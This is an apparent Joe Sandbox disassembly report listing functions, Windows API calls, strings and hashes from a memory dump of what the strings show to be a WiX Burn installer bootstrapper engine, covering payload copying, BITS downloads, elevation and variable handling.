String ID: Failed to add dependent bundle provider key to ignore dependents.$Failed to add dependents ignored from command-line.$Failed to add registration action for dependent related bundle.$Failed to add registration action for self dependent.$Failed to add self-dependent to ignore dependents.$Failed to allocate registration action.$Failed to check for remaining dependents during planning.$Failed to create the string dictionary.
API String ID: 1825529933-2086987450
Opcode ID: 19904048d4738fd68cf30e23ca2dede2c23f46b1e6c4374f8aa3b5feb4e3e6bb
Instruction ID: 371d0ee5bc03b370ef4a9451fe330b064b647a641ed23d530b2ab4147b7c3577
Opcode Fuzzy Hash: 19904048d4738fd68cf30e23ca2dede2c23f46b1e6c4374f8aa3b5feb4e3e6bb
Instruction Fuzzy Hash: 70B16E71A0071AFFCF20DFA4C981AAEBBB1FF18304F104529FA15AB151D771AA94DB91

Function 00A5212A Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000), ref: 00A52171
GetLastError.KERNEL32 ref: 00A52177
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00A521C6
GetLastError.KERNEL32 ref: 00A521CC
GetFullPathNameW.KERNEL32(00000000,00000040,00000000,00000000,00000000,00000040,00000000,00000000,00000000), ref: 00A5228D
GetLastError.KERNEL32 ref: 00A52293
GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A522E9
GetLastError.KERNEL32 ref: 00A522EF

Strings

pathutil.cpp, xrefs: 00A52325

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$EnvironmentExpandFullNamePathStrings
String ID: pathutil.cpp
API String ID: 1547313835-741606033
Opcode ID: 6c6132af12d673ef6ec04c9146f93f918140bc4ec5353372a14e0938452766ec
Instruction ID: 24070d25f46b7224be66f42778db7850b7e4354d03dd797bb12d35e3a4999ffa
Opcode Fuzzy Hash: 6c6132af12d673ef6ec04c9146f93f918140bc4ec5353372a14e0938452766ec
Instruction Fuzzy Hash: 6461A376D0022AABDB219BA4CC44BEE7AB8BF05762F114565ED10FB150E339DE089B90

Function 00A4227A Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 126COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,000000FE,?,00000000,?,?,?,?,?), ref: 00A42304
GetLastError.KERNEL32(?,?,?,?,?), ref: 00A4230E
CopyFileExW.KERNEL32(?,?,00A41A9D,?,?,00000000,?,00000000,?,?,?,?,?,00000000,00000000), ref: 00A42365
GetLastError.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,00A42760,?,00000000,?,00000000,00000001,00000000), ref: 00A42398

Strings

Failed to clear readonly bit on payload destination path: %ls, xrefs: 00A42340
apply.cpp, xrefs: 00A42333, 00A4237E, 00A423BD
Failed attempt to copy payload from: '%ls' to: %ls., xrefs: 00A423CD
copy, xrefs: 00A422D2
BA aborted copy of payload from: '%ls' to: %ls., xrefs: 00A42390

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLast$AttributesCopy
String ID: BA aborted copy of payload from: '%ls' to: %ls.$Failed attempt to copy payload from: '%ls' to: %ls.$Failed to clear readonly bit on payload destination path: %ls$apply.cpp$copy
API String ID: 1969131206-836986073
Opcode ID: 24c3b8dde458b604c4e699d9a2456e4913ef8bcf502896a250fac5e35cb2933e
Instruction ID: 451dae51640033ab6cc0f5c1df7bbea1839bce6ba590788116cb6bcf53810e95
Opcode Fuzzy Hash: 24c3b8dde458b604c4e699d9a2456e4913ef8bcf502896a250fac5e35cb2933e
Instruction Fuzzy Hash: 7B416536B40302BBEB108FA1CC46FAA7BB9BFD0741F548428B905DA190D7B8ED44C750

Function 00A46E84 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(000000FF,C0000000,00000004,00000000,00000004,00000080,00000000,00000000,000000FF,?,00000000,?,?,?,00A47988,?), ref: 00A46ED4
GetLastError.KERNEL32(?,?,?,00A47988,?,?,000000FF,?,000000FF,00000000,?,00000001,?,?,WiX\Burn,DownloadTimeout), ref: 00A46EE2
ReadFile.KERNEL32(00000000,00000008,00000008,00000000,00000000,?,?,?,00A47988,?,?,000000FF,?,000000FF,00000000,?), ref: 00A46F37
CloseHandle.KERNEL32(000000FF,000000FF), ref: 00A46F6D
GetLastError.KERNEL32(?,?,?,00A47988,?,?,000000FF,?,000000FF,00000000,?,00000001,?,?,WiX\Burn,DownloadTimeout), ref: 00A46F7C

Strings

Failed to create resume file: %ls, xrefs: 00A46F1B
Failed to read resume file: %ls, xrefs: 00A46FB5
Failed to calculate resume path from working path: %ls, xrefs: 00A46EAC
downloadengine.cpp, xrefs: 00A46F0C, 00A46FA6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleRead
String ID: Failed to calculate resume path from working path: %ls$Failed to create resume file: %ls$Failed to read resume file: %ls$downloadengine.cpp
API String ID: 3160720760-919322122
Opcode ID: 1a4c8b1e26c46cfe245931839909cbae543b7fd75b3a77de1880f140cd390060
Instruction ID: 78e7183e0fca8d0c73f16bb0a6c8c8d0d741292e917288e3c49ad332ece96e8d
Opcode Fuzzy Hash: 1a4c8b1e26c46cfe245931839909cbae543b7fd75b3a77de1880f140cd390060
Instruction Fuzzy Hash: 6341E3B5A00208FFCB10CFA4DD86AAD7BB4FF46311F208539F959EA1A0D3719A48DB11

Function 00A28C84 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 98stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 00A28C97
_wcscspn.LIBCMT ref: 00A28CC7

Strings

Failed to append characters., xrefs: 00A28D23
Failed to format escape sequence., xrefs: 00A28D44
Failed to copy string., xrefs: 00A28D3D
Failed to append escape sequence., xrefs: 00A28D4B
[]{}, xrefs: 00A28CC1
Failed to allocate buffer for escaped string., xrefs: 00A28CAE
[\%c], xrefs: 00A28CF6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _wcscspnlstrlen
String ID: Failed to allocate buffer for escaped string.$Failed to append characters.$Failed to append escape sequence.$Failed to copy string.$Failed to format escape sequence.$[\%c]$[]{}
API String ID: 2089742776-3250950999
Opcode ID: 3c968847bd5448957ca9d8f400644063722cbcad21f9e1d30c2baea921b6ed7e
Instruction ID: 67a92fcbab49c7671a86770443a48484a5fa1c385a4ae558ce016e9507a51893
Opcode Fuzzy Hash: 3c968847bd5448957ca9d8f400644063722cbcad21f9e1d30c2baea921b6ed7e
Instruction Fuzzy Hash: D721FB32942638BBCB116698ED46FAF7778FF20712F100526F901B61D1EF7CAE489291

Function 00A562C4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?,00A71FAC,00000208,00000000,?,00A4FE15,?,?,?), ref: 00A562DF
GetLastError.KERNEL32(?,?,00A71FAC,00000208,00000000,?,00A4FE15,?,?,?), ref: 00A562F5
GlobalAlloc.KERNEL32(00000000,?,?,?,00A71FAC,00000208,00000000,?,00A4FE15,?,?,?), ref: 00A56323
GetFileVersionInfoW.VERSION(?,?,?,00000000,?,00A4FE15,?,?,?), ref: 00A56347
GetLastError.KERNEL32(?,?,?,00000000,?,00A4FE15,?,?,?), ref: 00A56350
VerQueryValueW.VERSION(00A4FE15,00A7238C,?,?,?,?,?,00000000,?,00A4FE15,?,?,?), ref: 00A5637C
GetLastError.KERNEL32(00A4FE15,00A7238C,?,?,?,?,?,00000000,?,00A4FE15,?,?,?), ref: 00A56385
GlobalFree.KERNEL32(00A4FE15), ref: 00A563C1

Strings

fileutil.cpp, xrefs: 00A5630F, 00A5639F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$FileGlobalInfoVersion$AllocFreeQuerySizeValue
String ID: fileutil.cpp
API String ID: 2342464106-2967768451
Opcode ID: 1d313fdfd5a743fa36d675199cc775ecad30b3ad53973fbc47a120070de00275
Instruction ID: 42748a3ca72d140673013dfd3ef4171878cfcecaf80f5bfbb7160e802594789e
Opcode Fuzzy Hash: 1d313fdfd5a743fa36d675199cc775ecad30b3ad53973fbc47a120070de00275
Instruction Fuzzy Hash: 3B318F71A0021AEBDB119FA9CD45AAEBBB9FF14762F404125FC14EB261D730D908DBA0

Function 00A22AE6 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 81COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,00A2130D,80070642,?,?,00A2130D), ref: 00A22AEF
CloseHandle.KERNEL32(000000FF), ref: 00A22BA4

Strings

Failed to launch elevated child process: %ls, xrefs: 00A22B77
burn.elevated, xrefs: 00A22B03
-q -%ls %ls %ls %u, xrefs: 00A22B08
open, xrefs: 00A22B54, 00A22B62
runas, xrefs: 00A22B4A
Failed to allocate parameters for elevated process., xrefs: 00A22B28

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCurrentHandleProcess
String ID: -q -%ls %ls %ls %u$Failed to allocate parameters for elevated process.$Failed to launch elevated child process: %ls$burn.elevated$open$runas
API String ID: 2391145178-1352204306
Opcode ID: 54f316edb599c71b5300807811efe2b4d2d0ed083411daac63c3527eecef2a17
Instruction ID: 194d61cc81b9f2729de2ff01cc861fd25349a1a7723a99736748a1395a3c55f1
Opcode Fuzzy Hash: 54f316edb599c71b5300807811efe2b4d2d0ed083411daac63c3527eecef2a17
Instruction Fuzzy Hash: CD212771900208FFCF21EFD9DE45DAEBBB8FF58312B20846AF815A2111E7715A55EB50

Function 00A2936A Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(msi,DllGetVersion), ref: 00A29394
GetProcAddress.KERNEL32(00000000), ref: 00A2939B
GetLastError.KERNEL32 ref: 00A293A5

Strings

Failed to set variant value., xrefs: 00A29412
variable.cpp, xrefs: 00A293CA
msi, xrefs: 00A2938E
DllGetVersion, xrefs: 00A29389
Failed to find DllGetVersion entry point in msi.dll., xrefs: 00A293D4
Failed to get msi.dll version info., xrefs: 00A293EE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressErrorHandleLastModuleProc
String ID: DllGetVersion$Failed to find DllGetVersion entry point in msi.dll.$Failed to get msi.dll version info.$Failed to set variant value.$msi$variable.cpp
API String ID: 4275029093-842451892
Opcode ID: bbaf2d8402c34aa1ca8223d4bb7ddd3aaf43252d570aed0bf2a4a4b5eb48e105
Instruction ID: c7c47989ae75d5ec37955dccb46994bf4d119913dc630364deb07832240e4d16
Opcode Fuzzy Hash: bbaf2d8402c34aa1ca8223d4bb7ddd3aaf43252d570aed0bf2a4a4b5eb48e105
Instruction Fuzzy Hash: 71110672A40725B6D710EBBCEC46EBF7BB4BB44B11F000939F905E7191DBA4D84482A1

Function 00A2BAB9 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,00A217CA,?,00000000,?,?,00000000,00000000,?,?,?,00A21E12,?), ref: 00A2BAC6
GetLastError.KERNEL32(?,00A217CA,?,00000000,?,?,00000000,00000000,?,?,?,00A21E12,?), ref: 00A2BAD3
GetProcAddress.KERNEL32(00000000,BootstrapperApplicationCreate), ref: 00A2BB0C
GetLastError.KERNEL32(?,00A217CA,?,00000000,?,?,00000000,00000000,?,?,?,00A21E12,?), ref: 00A2BB16

Strings

Failed to load UX DLL., xrefs: 00A2BAFF
userexperience.cpp, xrefs: 00A2BAF5, 00A2BB38
Failed to create UX., xrefs: 00A2BB5B
BootstrapperApplicationCreate, xrefs: 00A2BB06
Failed to get BootstrapperApplicationCreate entry-point, xrefs: 00A2BB42

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID: BootstrapperApplicationCreate$Failed to create UX.$Failed to get BootstrapperApplicationCreate entry-point$Failed to load UX DLL.$userexperience.cpp
API String ID: 1866314245-2276003667
Opcode ID: 5e90837aba7c617bb2bb5e59b1fa097dcac9b0dc8160112b3187befeece5e7ff
Instruction ID: d4027c1357eaedc5147dc1688f863324e7f1bdb2d09ca36e94f03726a70208c8
Opcode Fuzzy Hash: 5e90837aba7c617bb2bb5e59b1fa097dcac9b0dc8160112b3187befeece5e7ff
Instruction Fuzzy Hash: 30110632AA073677D7205B6DAC19F662FA4BF017A2B090534FD04E7190FB65DC0096F4

Function 00A325E7 Relevance: 15.2, APIs: 2, Strings: 8, Instructions: 156COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00A325FD
LeaveCriticalSection.KERNEL32(?), ref: 00A32770

Strings

UX denied while trying to set download URL on embedded payload: %ls, xrefs: 00A32660
Failed to set download user., xrefs: 00A32709
Failed to set download URL., xrefs: 00A3268F
Failed to set download password., xrefs: 00A3272D
UX did not provide container or payload id., xrefs: 00A326E2
UX requested unknown container with id: %ls, xrefs: 00A326C2
UX requested unknown payload with id: %ls, xrefs: 00A3264A
Engine is active, cannot change engine state., xrefs: 00A32617

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Engine is active, cannot change engine state.$Failed to set download URL.$Failed to set download password.$Failed to set download user.$UX denied while trying to set download URL on embedded payload: %ls$UX did not provide container or payload id.$UX requested unknown container with id: %ls$UX requested unknown payload with id: %ls
API String ID: 3168844106-2615595102
Opcode ID: 24f31675f374dfe739b1969dd233ac623bb29fff60e204b1c63eba393b32c0bc
Instruction ID: 1bb929f4dbc7a2e649d2ba8bf454b8aded7b2595586fb05bc7347f24f0150b37
Opcode Fuzzy Hash: 24f31675f374dfe739b1969dd233ac623bb29fff60e204b1c63eba393b32c0bc
Instruction Fuzzy Hash: 6741A171A40B04BBC720EB68C9C6E6AB7F9FF58711F648915F906E7151E3B19C818BA0

Function 00A2A828 Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 139COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,000000F9,00000001,00000000,000000F9,00000031,000000F9,00000105,00000000,?,?,?), ref: 00A2A846
LeaveCriticalSection.KERNEL32(00000000), ref: 00A2A977

Strings

Failed to read variable name., xrefs: 00A2A952
Failed to read variable count., xrefs: 00A2A865
Failed to read variable value as number., xrefs: 00A2A960
Failed to set variable., xrefs: 00A2A967
Failed to read variable included flag., xrefs: 00A2A94B
Unsupported variable type., xrefs: 00A2A944
Failed to read variable value as string., xrefs: 00A2A938
Failed to read variable value type., xrefs: 00A2A959

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: Failed to read variable count.$Failed to read variable included flag.$Failed to read variable name.$Failed to read variable value as number.$Failed to read variable value as string.$Failed to read variable value type.$Failed to set variable.$Unsupported variable type.
API String ID: 3168844106-1201737872
Opcode ID: 09f523d174b2e6ac7af0f591fafcbc53eeb9fcfb81e96096e6c023227b427565
Instruction ID: 3ca103abc0661a826df568b91e572afc0bce0f1f3c64145a1033649624e963af
Opcode Fuzzy Hash: 09f523d174b2e6ac7af0f591fafcbc53eeb9fcfb81e96096e6c023227b427565
Instruction Fuzzy Hash: 79419B3180022ABBDF219FA9E945EAF7B78FF10B11F128131BD14B6151D7349E81DBA2

Function 00A28D7D Relevance: 15.1, APIs: 2, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,00A2FC5A,00000001,00000000,?,00A43EB0,?,00A43EB0,?,?,00A43EB0), ref: 00A28D88
LeaveCriticalSection.KERNEL32(?,?,00A43EB0,?,?,?,?,00A2FC5A,00000001,00000000,?,00A43EB0,?,00A43EB0,?,?), ref: 00A28EAB

Strings

Failed to write variable value type., xrefs: 00A28E93
Failed to write variable name., xrefs: 00A28E8C
Failed to write variable count., xrefs: 00A28DA4
Failed to write variable value as number., xrefs: 00A28E9A
Failed to write included flag., xrefs: 00A28E85
Unsupported variable type., xrefs: 00A28E7E
Failed to write variable value as string., xrefs: 00A28E72
0, xrefs: 00A28E50

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: 0$Failed to write included flag.$Failed to write variable count.$Failed to write variable name.$Failed to write variable value as number.$Failed to write variable value as string.$Failed to write variable value type.$Unsupported variable type.
API String ID: 3168844106-1107513445
Opcode ID: 62b145d18d1208ffa44e8ebbfdd411bb0148fcd37a5a2fc72823b83884476ee7
Instruction ID: 7ea8bd7ce434e767acc42767e9a38138a595656845728874845478422af7adfc
Opcode Fuzzy Hash: 62b145d18d1208ffa44e8ebbfdd411bb0148fcd37a5a2fc72823b83884476ee7
Instruction Fuzzy Hash: A331DD32101729BF8B219F28ED41C6B3BB2FB84751B164838FA1662290DF75EC51AB10

Function 00A27D84 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 148COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27DA5
_MREFOpen@16.MSPDB140-MSVCRT ref: 00A27DCA

Strings

MsiComponentSearch failed: ID '%ls', HRESULT 0x%x, xrefs: 00A27EBB
Failed to set variable., xrefs: 00A27EAB
Failed to get component path: %d, xrefs: 00A27E2D
Failed to format component id string., xrefs: 00A27DB0
Failed to format product code string., xrefs: 00A27DD5

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Open@16
String ID: Failed to format component id string.$Failed to format product code string.$Failed to get component path: %d$Failed to set variable.$MsiComponentSearch failed: ID '%ls', HRESULT 0x%x
API String ID: 3613110473-1671347822
Opcode ID: 01188b1f8cd67debd99b0154dfb638fe1645e622fe3c7b9541e6393b1c3f6766
Instruction ID: d1e3d8fa8639dd587b21091f1eb0a8a78d0b06af658cf34658b981ef35dd3a7a
Opcode Fuzzy Hash: 01188b1f8cd67debd99b0154dfb638fe1645e622fe3c7b9541e6393b1c3f6766
Instruction Fuzzy Hash: F541C272908129FFCF259FACAD82D7E7676FF44311B2548BAF511E2091DB318F449A21

Function 00A30D52 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A30D6F

Strings

Failed to find package: %ls, xrefs: 00A30E38
Failed to read rollback., xrefs: 00A30DFB
Failed to read package id., xrefs: 00A30D98
Failed to read package log., xrefs: 00A30DB9
Failed to read action., xrefs: 00A30DDA
Failed to read StopWusaService., xrefs: 00A30E19
Failed to execute MSU package., xrefs: 00A30E69

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to execute MSU package.$Failed to find package: %ls$Failed to read StopWusaService.$Failed to read action.$Failed to read package id.$Failed to read package log.$Failed to read rollback.
API String ID: 2102423945-2413426928
Opcode ID: 3ac0d0c634dc5bca19cc44246578a2002772a822a1e1531d00197fa5b8e5c970
Instruction ID: 23be8a21ec96af4e59e6f7b91ae95732f8b214c576acfc515a5b1ba32defc770
Opcode Fuzzy Hash: 3ac0d0c634dc5bca19cc44246578a2002772a822a1e1531d00197fa5b8e5c970
Instruction Fuzzy Hash: 08413672D0012CBECF11EEA4DE51DEEB7BCBB58350F214962F810B6150E6319F559BA1

Function 00A21762 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123windowthreadCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(00000000,00000000,00000400,00000400,00000000), ref: 00A21789
GetCurrentThreadId.KERNEL32 ref: 00A2178F
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00A21816

Strings

Failed to load UX., xrefs: 00A217D1
Failed to create engine for UX., xrefs: 00A217A7
engine.cpp, xrefs: 00A21862
Unexpected return value from message pump., xrefs: 00A2186F
Failed to start bootstrapper application., xrefs: 00A217EB

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Message$CurrentPeekThread
String ID: Failed to create engine for UX.$Failed to load UX.$Failed to start bootstrapper application.$Unexpected return value from message pump.$engine.cpp
API String ID: 673430819-3216346975
Opcode ID: 0a20ba04317692781273acabe75bba8f6ca9dbe6b458bcc98cefe861cdb1edae
Instruction ID: f15a5ada17c473adf5a26d08b057b4298e0e1587a95db3c6a74d84c84d8dab56
Opcode Fuzzy Hash: 0a20ba04317692781273acabe75bba8f6ca9dbe6b458bcc98cefe861cdb1edae
Instruction Fuzzy Hash: E24173B1900214BBDB10EFA8DDC5EAE77BDBB64315F204879F506E7290D73499458760

Function 00A47AC9 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 116comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00A6FBD8,00000000,00000017,00A6FBE8,?,00000000,00000000,?,?,?,?,?,?,?,00A48130,?), ref: 00A47B04

Strings

Failed to set BITS job to low priority., xrefs: 00A47B6C
Failed to set BITS job to foreground., xrefs: 00A47B96
Failed to set notification flags for BITS job., xrefs: 00A47B4F
Failed to create BITS job., xrefs: 00A47B37
Failed to set progress timeout., xrefs: 00A47B7F
WixBurn, xrefs: 00A47B28
Failed to create IBackgroundCopyManager., xrefs: 00A47B10

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

